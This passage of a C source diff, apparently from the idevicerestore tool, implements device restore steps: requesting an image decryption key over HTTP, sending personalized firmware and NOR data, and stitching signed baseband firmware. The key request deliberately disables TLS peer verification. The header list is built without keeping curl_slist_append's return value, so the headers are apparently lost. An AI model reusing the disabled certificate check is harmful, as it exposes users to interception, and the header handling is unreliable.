+ curl_easy_perform(handle);
+
+ long http_response = 0;
+ curl_easy_getinfo(handle, CURLINFO_RESPONSE_CODE, &http_response);
+
+ curl_easy_cleanup(handle);
+
+ plist_t dict = plist_new_dict();
+ plist_dict_set_item(dict, "ResponseBody", plist_new_data(response->content, response->length));
+ plist_dict_set_item(dict, "ResponseBodyDone", plist_new_bool(1));
+ plist_dict_set_item(dict, "ResponseHeaders", response_headers);
+ plist_dict_set_item(dict, "ResponseStatus", plist_new_uint(http_response));
+
+ free(response);
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ _restore_service_send(service, dict, PLIST_FORMAT_BINARY);
+ _restore_service_free(service);
+
+ return 0;
+}
+
+int restore_send_streamed_image_decryption_key(struct idevicerestore_client_t* client, plist_t message)
+{
+ logger(LL_DEBUG, "%s\n", __func__);
+ plist_t arguments = plist_dict_get_item(message, "Arguments");
+ if (!PLIST_IS_DICT(arguments)) {
+ logger(LL_ERROR, "%s: Unexpected arguments\n", __func__);
+ logger_dump_plist(LL_VERBOSE, arguments, 1);
+ return -1;
+ }
+
+ const char* request_method = plist_get_string_ptr(plist_dict_get_item(arguments, "RequestMethod"), NULL);
+ if (!request_method) {
+ logger(LL_ERROR, "%s: Unable to extract RequestMethod from Arguments\n", __func__);
+ return -1;
+ }
+ if (strcmp(request_method, "POST")) {
+ logger(LL_ERROR, "%s: Unexpected RequestMethod '%s' in message\n", __func__, request_method);
+ return -1;
+ }
+ const char* request_url = plist_get_string_ptr(plist_dict_get_item(arguments, "RequestURL"), NULL);
+ if (!request_url) {
+ logger(LL_ERROR, "%s: Unable to extract RequestURL from Arguments\n", __func__);
+ return -1;
+ }
+
+ struct curl_slist* header = NULL;
+
+ plist_t headers = plist_dict_get_item(arguments, "RequestAdditionalHeaders");
+ if (!headers) {
+ logger(LL_ERROR, "%s: Missing 'RequestAdditionalHeaders'\n", __func__);
+ return -1;
+ }
+
+ uint64_t request_body_size = 0;
+ const char* request_body = plist_get_data_ptr(plist_dict_get_item(arguments, "RequestBody"), &request_body_size);
+ if (!request_body) {
+ logger(LL_ERROR, "%s: Missing 'RequestBody'\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "Requesting image decryption key from %s\n", request_url);
+
+ char curl_error_message[CURL_ERROR_SIZE];
+ char header_tmp[1024];
+ plist_dict_iter iter = NULL;
+ plist_dict_new_iter(headers, &iter);
+ plist_t node = NULL;
+ do {
+ char *key = NULL;
+ plist_dict_next_item(headers, iter, &key, &node);
+ if (!node) break;
+ snprintf(header_tmp, sizeof(header_tmp), "%s: %s", key, plist_get_string_ptr(node, NULL));
+ curl_slist_append(header, header_tmp);
+ } while (node);
+ plist_mem_free(iter);
+
+ CURL* handle = curl_easy_init();
+ /* disable SSL verification to allow download from untrusted https locations */
+ curl_easy_setopt(handle, CURLOPT_SSL_VERIFYPEER, 0);
+
+ query_response* response = malloc(sizeof(query_response));
+ if (response == NULL) {
+ logger(LL_ERROR, "%s: Unable to allocate sufficient memory\n", __func__);
+ return -1;
+ }
+
+ response->length = 0;
+ response->content = malloc(1);
+ response->content[0] = '\0';
+
+ curl_easy_setopt(handle, CURLOPT_ERRORBUFFER, curl_error_message);
+ curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, (curl_write_callback)&_curl_write_callback);
+ curl_easy_setopt(handle, CURLOPT_HEADERFUNCTION, &_curl_header_callback);
+ plist_t response_headers = plist_new_dict();
+ curl_easy_setopt(handle, CURLOPT_HEADERDATA, response_headers);
+ curl_easy_setopt(handle, CURLOPT_WRITEDATA, response);
+ curl_easy_setopt(handle, CURLOPT_HTTPHEADER, header);
+ curl_easy_setopt(handle, CURLOPT_POSTFIELDS, request_body);
+ curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE, (long)request_body_size);
+ if (client->debug_level > 0) {
+ curl_easy_setopt(handle, CURLOPT_VERBOSE, 1L);
+ }
+ curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1);
+ curl_easy_setopt(handle, CURLOPT_URL, request_url);
+ curl_easy_perform(handle);
+ curl_slist_free_all(header);
+
+ long http_response = 0;
+ curl_easy_getinfo(handle, CURLINFO_RESPONSE_CODE, &http_response);
+
+ curl_easy_cleanup(handle);
+
+ plist_t dict = plist_new_dict();
+ plist_dict_set_item(dict, "ResponseBody", plist_new_data(response->content, response->length));
+ plist_dict_set_item(dict, "ResponseBodyDone", plist_new_bool(1));
+ plist_dict_set_item(dict, "ResponseHeaders", response_headers);
+ plist_dict_set_item(dict, "ResponseStatus", plist_new_uint(http_response));
+
+ free(response);
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ _restore_service_send(service, dict, PLIST_FORMAT_BINARY);
+ _restore_service_free(service);
+
+ return 0;
+}
+
+int restore_send_component(struct idevicerestore_client_t* client, plist_t message, const char* component, const char* component_name)
+{
+ size_t size = 0;
+ void* data = NULL;
+ char* path = NULL;
+ plist_t blob = NULL;
+ plist_t dict = NULL;
+ restored_error_t restore_error = RESTORE_E_SUCCESS;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return -1;
+ }
+
+ if (component_name == NULL) {
+ component_name = component;
+ }
+
+ logger(LL_INFO, "About to send %s...\n", component_name);
+
+ if (client->tss) {
+ if (tss_response_get_path_by_entry(client->tss, component, &path) < 0) {
+ logger(LL_DEBUG, "No path for component %s in TSS, will fetch from build identity\n", component);
+ }
+ }
+ if (!path) {
+ if (build_identity_get_component_path(client->restore->build_identity, component, &path) < 0) {
+ logger(LL_ERROR, "Unable to find %s path from build identity\n", component);
+ return -1;
+ }
+ }
+
+ void* component_data = NULL;
+ size_t component_size = 0;
+ int ret = extract_component(client->ipsw, path, &component_data, &component_size);
+ free(path);
+ path = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract component %s\n", component);
+ return -1;
+ }
+
+ ret = personalize_component(client, component, component_data, component_size, client->tss, &data, &size);
+ free(component_data);
+ component_data = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get personalized component %s\n", component);
+ return -1;
+ }
+
+ dict = plist_new_dict();
+ blob = plist_new_data((char*)data, size);
+ char compkeyname[256];
+ snprintf(compkeyname, sizeof(compkeyname), "%sFile", component_name);
+ plist_dict_set_item(dict, compkeyname, blob);
+ free(data);
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "Sending %s now...\n", component_name);
+ restore_error = _restore_service_send(service, dict, 0);
+ plist_free(dict);
+ _restore_service_free(service);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send component %s data\n", component_name);
+ return -1;
+ }
+
+ logger(LL_INFO, "Done sending %s\n", component_name);
+ return 0;
+}
+
+int restore_send_nor(struct idevicerestore_client_t* client, plist_t message)
+{
+ char* llb_path = NULL;
+ char* llb_filename = NULL;
+ char* sep_path = NULL;
+ char* restore_sep_path = NULL;
+ char firmware_path[PATH_MAX - 9];
+ char manifest_file[PATH_MAX];
+ size_t manifest_size = 0;
+ void* manifest_data = NULL;
+ char firmware_filename[PATH_MAX];
+ size_t llb_size = 0;
+ void* llb_data = NULL;
+ plist_t dict = NULL;
+ size_t nor_size = 0;
+ void* nor_data = NULL;
+ plist_t norimage = NULL;
+ plist_t firmware_files = NULL;
+ int flash_version_1 = 0;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "About to send NORData...\n");
+
+ plist_t arguments = plist_dict_get_item(message, "Arguments");
+ if (arguments && plist_get_node_type(arguments) == PLIST_DICT) {
+ flash_version_1 = plist_dict_get_item(arguments, "FlashVersion1") ? 1 : 0;
+ }
+
+ if (client->tss) {
+ if (tss_response_get_path_by_entry(client->tss, "LLB", &llb_path) < 0) {
+ logger(LL_DEBUG, "Could not get LLB path from TSS data, will fetch from build identity\n");
+ }
+ }
+ if (llb_path == NULL) {
+ if (build_identity_get_component_path(client->restore->build_identity, "LLB", &llb_path) < 0) {
+ logger(LL_ERROR, "Unable to get component path for LLB\n");
+ return -1;
+ }
+ }
+
+ llb_filename = strstr(llb_path, "LLB");
+ if (llb_filename == NULL) {
+ logger(LL_ERROR, "Unable to extract firmware path from LLB filename\n");
+ free(llb_path);
+ return -1;
+ }
+
+ memset(firmware_path, '\0', sizeof(firmware_path));
+ memcpy(firmware_path, llb_path, (llb_filename - 1) - llb_path);
+ logger(LL_INFO, "Found firmware path %s\n", firmware_path);
+
+ memset(manifest_file, '\0', sizeof(manifest_file));
+ snprintf(manifest_file, sizeof(manifest_file), "%s/manifest", firmware_path);
+
+ firmware_files = plist_new_dict();
+ if (ipsw_file_exists(client->ipsw, manifest_file)) {
+ ipsw_extract_to_memory(client->ipsw, manifest_file, &manifest_data, &manifest_size);
+ }
+ if (manifest_data && manifest_size > 0) {
+ logger(LL_INFO, "Getting firmware manifest from %s\n", manifest_file);
+ char *manifest_p = (char*)manifest_data;
+ char *filename = NULL;
+ while ((filename = strsep(&manifest_p, "\r\n")) != NULL) {
+ if (*filename == '\0') continue;
+ const char *compname = get_component_name(filename);
+ if (!compname) continue;
+ memset(firmware_filename, '\0', sizeof(firmware_filename));
+ snprintf(firmware_filename, sizeof(firmware_filename), "%s/%s", firmware_path, filename);
+ plist_dict_set_item(firmware_files, compname, plist_new_string(firmware_filename));
+ }
+ free(manifest_data);
+ } else {
+ logger(LL_INFO, "Getting firmware manifest from build identity\n");
+ plist_dict_iter iter = NULL;
+ plist_t build_id_manifest = plist_dict_get_item(client->restore->build_identity, "Manifest");
+ if (build_id_manifest) {
+ plist_dict_new_iter(build_id_manifest, &iter);
+ }
+ if (iter) {
+ char *component = NULL;
+ plist_t manifest_entry;
+ do {
+ component = NULL;
+ manifest_entry = NULL;
+ plist_dict_next_item(build_id_manifest, iter, &component, &manifest_entry);
+ if (component && manifest_entry && plist_get_node_type(manifest_entry) == PLIST_DICT) {
+ uint8_t is_fw = 0;
+ uint8_t is_secondary_fw = 0;
+ uint8_t loaded_by_iboot = 0;
+ plist_t fw_node;
+
+ fw_node = plist_access_path(manifest_entry, 2, "Info", "IsFirmwarePayload");
+ if (fw_node && plist_get_node_type(fw_node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(fw_node, &is_fw);
+ }
+
+ fw_node = plist_access_path(manifest_entry, 2, "Info", "IsLoadedByiBoot");
+ if (fw_node && plist_get_node_type(fw_node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(fw_node, &loaded_by_iboot);
+ }
+
+ fw_node = plist_access_path(manifest_entry, 2, "Info", "IsSecondaryFirmwarePayload");
+ if (fw_node && plist_get_node_type(fw_node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(fw_node, &is_secondary_fw);
+ }
+
+ if (is_fw || (is_secondary_fw && loaded_by_iboot)) {
+ plist_t comp_path = plist_access_path(manifest_entry, 2, "Info", "Path");
+ if (comp_path) {
+ plist_dict_set_item(firmware_files, component, plist_copy(comp_path));
+ }
+ }
+ }
+ free(component);
+ } while (manifest_entry);
+ free(iter);
+ }
+ }
+
+ if (plist_dict_get_size(firmware_files) == 0) {
+ logger(LL_ERROR, "Unable to get list of firmware files.\n");
+ return -1;
+ }
+
+ const char* component = "LLB";
+ void* component_data = NULL;
+ size_t component_size = 0;
+ int ret = extract_component(client->ipsw, llb_path, &component_data, &component_size);
+ free(llb_path);
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract component: %s\n", component);
+ return -1;
+ }
+
+ ret = personalize_component(client, component, component_data, component_size, client->tss, &llb_data, &llb_size);
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get personalized component: %s\n", component);
+ return -1;
+ }
+
+ dict = plist_new_dict();
+ plist_dict_set_item(dict, "LlbImageData", plist_new_data((char*)llb_data, llb_size));
+ free(llb_data);
+
+ if (flash_version_1) {
+ norimage = plist_new_dict();
+ } else {
+ norimage = plist_new_array();
+ }
+
+ plist_dict_iter iter = NULL;
+ plist_dict_new_iter(firmware_files, &iter);
+ while (iter) {
+ char *comp = NULL;
+ plist_t pcomp = NULL;
+ plist_dict_next_item(firmware_files, iter, &comp, &pcomp);
+ if (!comp) {
+ break;
+ }
+ char *comppath = NULL;
+ plist_get_string_val(pcomp, &comppath);
+ if (!comppath) {
+ free(comp);
+ continue;
+ }
+
+ component = (const char*)comp;
+ if (!strcmp(component, "LLB") || !strcmp(component, "RestoreSEP")) {
+ // skip LLB, it's already passed in LlbImageData
+ // skip RestoreSEP, it's passed in RestoreSEPImageData
+ free(comp);
+ free(comppath);
+ continue;
+ }
+
+ component_data = NULL;
+ component_size = 0;
+
+ if (extract_component(client->ipsw, comppath, &component_data, &component_size) < 0) {
+ free(iter);
+ free(comp);
+ free(comppath);
+ plist_free(firmware_files);
+ logger(LL_ERROR, "Unable to extract component: %s\n", component);
+ return -1;
+ }
+
+ if (personalize_component(client, component, component_data, component_size, client->tss, &nor_data, &nor_size) < 0) {
+ free(iter);
+ free(comp);
+ free(comppath);
+ free(component_data);
+ plist_free(firmware_files);
+ logger(LL_ERROR, "Unable to get personalized component: %s\n", component);
+ return -1;
+ }
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+
+ if (flash_version_1) {
+ plist_dict_set_item(norimage, component, plist_new_data((char*)nor_data, nor_size));
+ } else {
+ /* make sure iBoot is the first entry in the array */
+ if (!strncmp("iBoot", component, 5)) {
+ plist_array_insert_item(norimage, plist_new_data((char*)nor_data, nor_size), 0);
+ } else {
+ plist_array_append_item(norimage, plist_new_data((char*)nor_data, nor_size));
+ }
+ }
+
+ free(comp);
+ free(comppath);
+ free(nor_data);
+ nor_data = NULL;
+ nor_size = 0;
+ }
+ free(iter);
+ plist_free(firmware_files);
+ plist_dict_set_item(dict, "NorImageData", norimage);
+
+ void* personalized_data = NULL;
+ size_t personalized_size = 0;
+
+ if (build_identity_has_component(client->restore->build_identity, "RestoreSEP") &&
+ build_identity_get_component_path(client->restore->build_identity, "RestoreSEP", &restore_sep_path) == 0) {
+ component = "RestoreSEP";
+ ret = extract_component(client->ipsw, restore_sep_path, &component_data, &component_size);
+ free(restore_sep_path);
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract component: %s\n", component);
+ return -1;
+ }
+
+ ret = personalize_component(client, component, component_data, component_size, client->tss, &personalized_data, &personalized_size);
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get personalized component: %s\n", component);
+ return -1;
+ }
+
+ plist_dict_set_item(dict, "RestoreSEPImageData", plist_new_data((char*)personalized_data, personalized_size));
+ free(personalized_data);
+ personalized_data = NULL;
+ personalized_size = 0;
+ }
+
+ if (build_identity_has_component(client->restore->build_identity, "SEP") &&
+ build_identity_get_component_path(client->restore->build_identity, "SEP", &sep_path) == 0) {
+ component = "SEP";
+ ret = extract_component(client->ipsw, sep_path, &component_data, &component_size);
+ free(sep_path);
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract component: %s\n", component);
+ return -1;
+ }
+
+ ret = personalize_component(client, component, component_data, component_size, client->tss, &personalized_data, &personalized_size);
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get personalized component: %s\n", component);
+ return -1;
+ }
+
+ plist_dict_set_item(dict, "SEPImageData", plist_new_data((char*)personalized_data, personalized_size));
+ free(personalized_data);
+ personalized_data = NULL;
+ personalized_size = 0;
+ }
+
+ if (build_identity_has_component(client->restore->build_identity, "SepStage1") &&
+ build_identity_get_component_path(client->restore->build_identity, "SepStage1", &sep_path) == 0) {
+ component = "SepStage1";
+ ret = extract_component(client->ipsw, sep_path, &component_data, &component_size);
+ free(sep_path);
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract component: %s\n", component);
+ return -1;
+ }
+
+ ret = personalize_component(client, component, component_data, component_size, client->tss, &personalized_data, &personalized_size);
+ free(component_data);
+ component_data = NULL;
+ component_size = 0;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get personalized component: %s\n", component);
+ return -1;
+ }
+
+ plist_dict_set_item(dict, "SEPPatchImageData", plist_new_data((char*)personalized_data, personalized_size));
+ free(personalized_data);
+ personalized_data = NULL;
+ personalized_size = 0;
+ }
+
+ if (client->debug_level > 1)
+ logger_dump_plist(LL_DEBUG, dict, 0);
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "Sending NORData now...\n");
+ restored_error_t restore_error = _restore_service_send(service, dict, 0);
+ plist_free(dict);
+ _restore_service_free(service);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send NORData\n");
+ return -1;
+ }
+
+ logger(LL_INFO, "Done sending NORData\n");
+ return 0;
+}
+
+static const char* restore_get_bbfw_fn_for_element(const char* elem, uint32_t bb_chip_id)
+{
+ struct bbfw_fn_elem_t {
+ const char* element;
+ const char* fn;
+ };
+
+ struct bbfw_fn_elem_t bbfw_fn_elem[] = {
+ // ICE3 firmware files
+ { "RamPSI", "psi_ram.fls" },
+ { "FlashPSI", "psi_flash.fls" },
+ // Trek firmware files
+ { "eDBL", "dbl.mbn" },
+ { "RestoreDBL", "restoredbl.mbn" },
+ // Phoenix/Mav4 firmware files
+ { "DBL", "dbl.mbn" },
+ { "ENANDPRG", "ENPRG.mbn" },
+ // Mav5 firmware files
+ { "RestoreSBL1", "restoresbl1.mbn" },
+ { "SBL1", "sbl1.mbn" },
+ // ICE16 firmware files
+ { "RestorePSI", "restorepsi.bin" },
+ { "PSI", "psi_ram.bin" },
+ // ICE19 firmware files
+ { "RestorePSI2", "restorepsi2.bin" },
+ { "PSI2", "psi_ram2.bin" },
+ // Mav20 Firmware file
+ { "Misc", "multi_image.mbn" },
+ { NULL, NULL }
+ };
+
+ struct bbfw_fn_elem_t bbfw_fn_elem_mav25[] = {
+ // Mav25 Firmware files
+ { "Misc", "multi_image.mbn" },
+ { "RestoreSBL1", "restorexbl_sc.elf" },
+ { "SBL1", "xbl_sc.elf" },
+ { "TME", "signed_firmware_soc_view.elf" },
+ { NULL, NULL }
+ };
+
+ struct bbfw_fn_elem_t* bbfw_fn_elems = (struct bbfw_fn_elem_t*)bbfw_fn_elem;
+ if (bb_chip_id == 0x1F30E1) {
+ bbfw_fn_elems = (struct bbfw_fn_elem_t*)bbfw_fn_elem_mav25;
+ }
+
+ int i;
+ for (i = 0; bbfw_fn_elems[i].element != NULL; i++) {
+ if (strcmp(bbfw_fn_elems[i].element, elem) == 0) {
+ return bbfw_fn_elems[i].fn;
+ }
+ }
+ return NULL;
+}
+
+static int restore_sign_bbfw(const char* bbfwtmp, plist_t bbtss, const unsigned char* bb_nonce, uint32_t bb_chip_id)
+{
+ int res = -1;
+
+ // check for BBTicket in result
+ plist_t bbticket = plist_dict_get_item(bbtss, "BBTicket");
+ if (!bbticket || plist_get_node_type(bbticket) != PLIST_DATA) {
+ logger(LL_ERROR, "Could not find BBTicket in Baseband TSS response\n");
+ return -1;
+ }
+
+ plist_t bbfw_dict = plist_dict_get_item(bbtss, "BasebandFirmware");
+ if (!bbfw_dict || plist_get_node_type(bbfw_dict) != PLIST_DICT) {
+ logger(LL_ERROR, "Could not find BasebandFirmware Dictionary node in Baseband TSS response\n");
+ return -1;
+ }
+
+ unsigned char* buffer = NULL;
+ const unsigned char* blob = NULL;
+ unsigned char* fdata = NULL;
+ uint64_t fsize = 0;
+ uint64_t blob_size = 0;
+ int zerr = 0;
+ int64_t zindex = -1;
+ struct zip_stat zstat;
+ struct zip_file* zfile = NULL;
+ struct zip* za = NULL;
+ struct zip_source* zs = NULL;
+ fls_file* fls = NULL;
+
+ za = zip_open(bbfwtmp, 0, &zerr);
+ if (!za) {
+ logger(LL_ERROR, "Could not open ZIP archive '%s': %d\n", bbfwtmp, zerr);
+ goto leave;
+ }
+
+ plist_dict_iter iter = NULL;
+ plist_dict_new_iter(bbfw_dict, &iter);
+ if (!iter) {
+ logger(LL_ERROR, "Could not create dict iter for BasebandFirmware Dictionary\n");
+ return -1;
+ }
+
+ int is_fls = 0;
+ int64_t signed_file_idxs[16];
+ int signed_file_count = 0;
+ char* key = NULL;
+ plist_t node = NULL;
+ while (1) {
+ plist_dict_next_item(bbfw_dict, iter, &key, &node);
+ if (key == NULL)
+ break;
+ if (node && (strcmp(key + (strlen(key) - 5), "-Blob") == 0) && (plist_get_node_type(node) == PLIST_DATA)) {
+ char *ptr = strchr(key, '-');
+ *ptr = '\0';
+ const char* signfn = restore_get_bbfw_fn_for_element(key, bb_chip_id);
+ if (!signfn) {
+ logger(LL_ERROR, "can't match element name '%s' to baseband firmware file name.\n", key);
+ goto leave;
+ }
+ char* ext = strrchr(signfn, '.');
+ if (!strcmp(ext, ".fls")) {
+ is_fls = 1;
+ }
+
+ zindex = zip_name_locate(za, signfn, 0);
+ if (zindex < 0) {
+ logger(LL_ERROR, "can't locate '%s' in '%s'\n", signfn, bbfwtmp);
+ goto leave;
+ }
+
+ zip_stat_init(&zstat);
+ if (zip_stat_index(za, zindex, 0, &zstat) != 0) {
+ logger(LL_ERROR, "zip_stat_index failed for index %" PRIi64 "\n", zindex);
+ goto leave;
+ }
+
+ zfile = zip_fopen_index(za, zindex, 0);
+ if (zfile == NULL) {
+ logger(LL_ERROR, "zip_fopen_index failed for index %" PRIi64 "\n", zindex);
+ goto leave;
+ }
+
+ buffer = (unsigned char*) malloc(zstat.size + 1);
+ if (buffer == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ goto leave;
+ }
+
+ if (zip_fread(zfile, buffer, zstat.size) != zstat.size) {
+ logger(LL_ERROR, "zip_fread: failed\n");
+ goto leave;
+ }
+ buffer[zstat.size] = '\0';
+
+ zip_fclose(zfile);
+ zfile = NULL;
+
+ if (is_fls) {
+ fls = fls_parse(buffer, zstat.size);
+ if (!fls) {
+ logger(LL_ERROR, "could not parse fls file\n");
+ goto leave;
+ }
+ }
+
+ blob_size = 0;
+ blob = (const unsigned char*)plist_get_data_ptr(node, &blob_size);
+ if (!blob) {
+ logger(LL_ERROR, "could not get %s-Blob data\n", key);
+ goto leave;
+ }
+
+ logger(LL_VERBOSE, "Stitching %s\n", signfn);
+ if (is_fls) {
+ if (fls_update_sig_blob(fls, blob, (size_t)blob_size) != 0) {
+ logger(LL_ERROR, "Could not stitch %s\n", signfn);
+ goto leave;
+ }
+ fsize = fls->size;
+ fdata = (unsigned char*)malloc(fsize);
+ if (fdata == NULL) {
+ logger(LL_ERROR, "out of memory\n");
+ goto leave;
+ }
+ memcpy(fdata, fls->data, fsize);
+ fls_free(fls);
+ fls = NULL;
+ } else if (bb_chip_id == 0x1F30E1) { // Mav25 - Qualcomm Snapdragon X80 5G Modem
+ fdata = mbn_mav25_stitch(buffer, zstat.size, blob, (size_t)blob_size);
+ fsize = zstat.size;
+ if (!fdata) {
+ logger(LL_ERROR, "Could not stitch %s\n", signfn);
+ goto leave;
+ }
+ } else {
+ fdata = mbn_stitch(buffer, zstat.size, blob, (size_t)blob_size);
+ fsize = zstat.size;
+ if (!fdata) {
+ logger(LL_ERROR, "Could not stitch %s\n", signfn);
+ goto leave;
+ }
+ }
+ free(buffer);
+ buffer = NULL;
+
+ zs = zip_source_buffer(za, fdata, fsize, 1);
+ if (!zs) {
+ logger(LL_ERROR, "out of memory\n");
+ free(fdata);
+ goto leave;
+ }
+
+ if (zip_file_replace(za, zindex, zs, 0) == -1) {
+ logger(LL_ERROR, "Could not update signed '%s' in archive\n", signfn);
+ goto leave;
+ }
+
+ if (is_fls && !bb_nonce) {
+ if (strcmp(key, "RamPSI") == 0) {
+ signed_file_idxs[signed_file_count++] = zindex;
+ }
+ } else {
+ signed_file_idxs[signed_file_count++] = zindex;
+ }
+ }
+ free(key);
+ }
+ free(iter);
+
+ // remove everything but required files
+ int64_t i, numf = zip_get_num_entries(za, 0);
+ for (i = 0; i < numf; i++) {
+ int j;
+ int keep = 0;
+ // check for signed file index
+ for (j = 0; j < signed_file_count; j++) {
+ if (i == signed_file_idxs[j]) {
+ keep = 1;
+ break;
+ }
+ }
+ // check for anything but .mbn and .fls if bb_nonce is set
+ const char* fn = zip_get_name(za, i, 0);
+ if (!keep) {
+ if (fn) {
+ char* ext = strrchr(fn, '.');
+ if (ext && (!strcmp(ext, ".fls") || !strcmp(ext, ".mbn") || !strcmp(ext, ".elf") || !strcmp(ext, ".bin"))) {
+ keep = 1;
+ }
+ }
+ }
+ if (!keep) {
+ logger(LL_DEBUG, "%s: removing %s from bbfw\n", __func__, fn);
+ zip_delete(za, i);
+ } else {
+ logger(LL_DEBUG, "%s: keeping %s in bbfw\n", __func__, fn);
+ }
+ }
+
+ if (bbticket) {
+ if (is_fls) {
+ // add BBTicket to file ebl.fls
+ zindex = zip_name_locate(za, "ebl.fls", 0);
+ if (zindex < 0) {
+ logger(LL_ERROR, "can't locate 'ebl.fls' in '%s'\n", bbfwtmp);
+ goto leave;
+ }
+
+ zip_stat_init(&zstat);
+ if (zip_stat_index(za, zindex, 0, &zstat) != 0) {
+ logger(LL_ERROR, "zip_stat_index failed for index %" PRIi64 "\n", zindex);
+ goto leave;
+ }
+
+ zfile = zip_fopen_index(za, zindex, 0);
+ if (zfile == NULL) {
+ logger(LL_ERROR, "zip_fopen_index failed for index %" PRIi64 "\n", zindex);
+ goto leave;
+ }
+
+ buffer = (unsigned char*) malloc(zstat.size + 1);
+ if (buffer == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ goto leave;
+ }
+
+ if (zip_fread(zfile, buffer, zstat.size) != zstat.size) {
+ logger(LL_ERROR, "zip_fread: failed\n");
+ goto leave;
+ }
+ buffer[zstat.size] = '\0';
+
+ zip_fclose(zfile);
+ zfile = NULL;
+
+ fls = fls_parse(buffer, zstat.size);
+ free(buffer);
+ buffer = NULL;
+ if (!fls) {
+ logger(LL_ERROR, "could not parse fls file\n");
+ goto leave;
+ }
+
+ blob_size = 0;
+ blob = (const unsigned char*)plist_get_data_ptr(bbticket, &blob_size);
+ if (!blob) {
+ logger(LL_ERROR, "could not get BBTicket data\n");
+ goto leave;
+ }
+
+ if (fls_insert_ticket(fls, blob, (unsigned int)blob_size) != 0) {
+ logger(LL_ERROR, "could not insert BBTicket to ebl.fls\n");
+ goto leave;
+ }
+
+ fsize = fls->size;
+ fdata = (unsigned char*)malloc(fsize);
+ if (!fdata) {
+ logger(LL_ERROR, "out of memory\n");
+ goto leave;
+ }
+ memcpy(fdata, fls->data, fsize);
+ fls_free(fls);
+ fls = NULL;
+
+ zs = zip_source_buffer(za, fdata, fsize, 1);
+ if (!zs) {
+ logger(LL_ERROR, "out of memory\n");
+ free(fdata);
+ goto leave;
+ }
+
+ if (zip_file_replace(za, zindex, zs, 0) == -1) {
+ logger(LL_ERROR, "could not update archive with ticketed ebl.fls\n");
+ goto leave;
+ }
+ } else {
+ // add BBTicket as bbticket.der
+ blob_size = 0;
+ blob = (const unsigned char*)plist_get_data_ptr(bbticket, &blob_size);
+ if (!blob) {
+ logger(LL_ERROR, "could not get BBTicket data\n");
+ goto leave;
+ }
+
+ zs = zip_source_buffer(za, blob, blob_size, 0);
+ if (!zs) {
+ logger(LL_ERROR, "out of memory\n");
+ goto leave;
+ }
+
+ if (zip_file_add(za, "bbticket.der", zs, ZIP_FL_OVERWRITE) == -1) {
+ logger(LL_ERROR, "could not add bbticket.der to archive\n");
+ goto leave;
+ }
+ }
+ }
+
+ // this will write out the modified zip
+ if (zip_close(za) == -1) {
+ logger(LL_ERROR, "could not close and write modified archive: %s\n", zip_strerror(za));
+ res = -1;
+ } else {
+ res = 0;
+ }
+ za = NULL;
+ zs = NULL;
+
+leave:
+ if (zfile) {
+ zip_fclose(zfile);
+ }
+ if (zs) {
+ zip_source_free(zs);
+ }
+ if (za) {
+ zip_unchange_all(za);
+ zip_close(za);
+ }
+ fls_free(fls);
+ free(buffer);
+
+ return res;
+}
+
+static int restore_send_baseband_data(struct idevicerestore_client_t* client, plist_t message)
+{
+ int res = -1;
+ uint64_t bb_cert_id = 0;
+ unsigned char* bb_snum = NULL;
+ uint64_t bb_snum_size = 0;
+ unsigned char* bb_nonce = NULL;
+ uint64_t bb_nonce_size = 0;
+ uint64_t bb_chip_id = 0;
+ plist_t response = NULL;
+ char* buffer = NULL;
+ char* bbfwtmp = NULL;
+ plist_t dict = NULL;
+
+ if (!client || !client->restore || !client->restore->build_identity) {
+ logger(LL_ERROR, "%s: idevicerestore client not initialized?!\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "About to send BasebandData...\n");
+
+ // NOTE: this function is called 2 or 3 times!
+
+ // setup request data
+ plist_t arguments = plist_dict_get_item(message, "Arguments");
+ if (arguments && plist_get_node_type(arguments) == PLIST_DICT) {
+ plist_t bb_chip_id_node = plist_dict_get_item(arguments, "ChipID");
+ if (bb_chip_id_node && plist_get_node_type(bb_chip_id_node) == PLIST_UINT) {
+ plist_get_uint_val(bb_chip_id_node, &bb_chip_id);
+ }
+ plist_t bb_cert_id_node = plist_dict_get_item(arguments, "CertID");
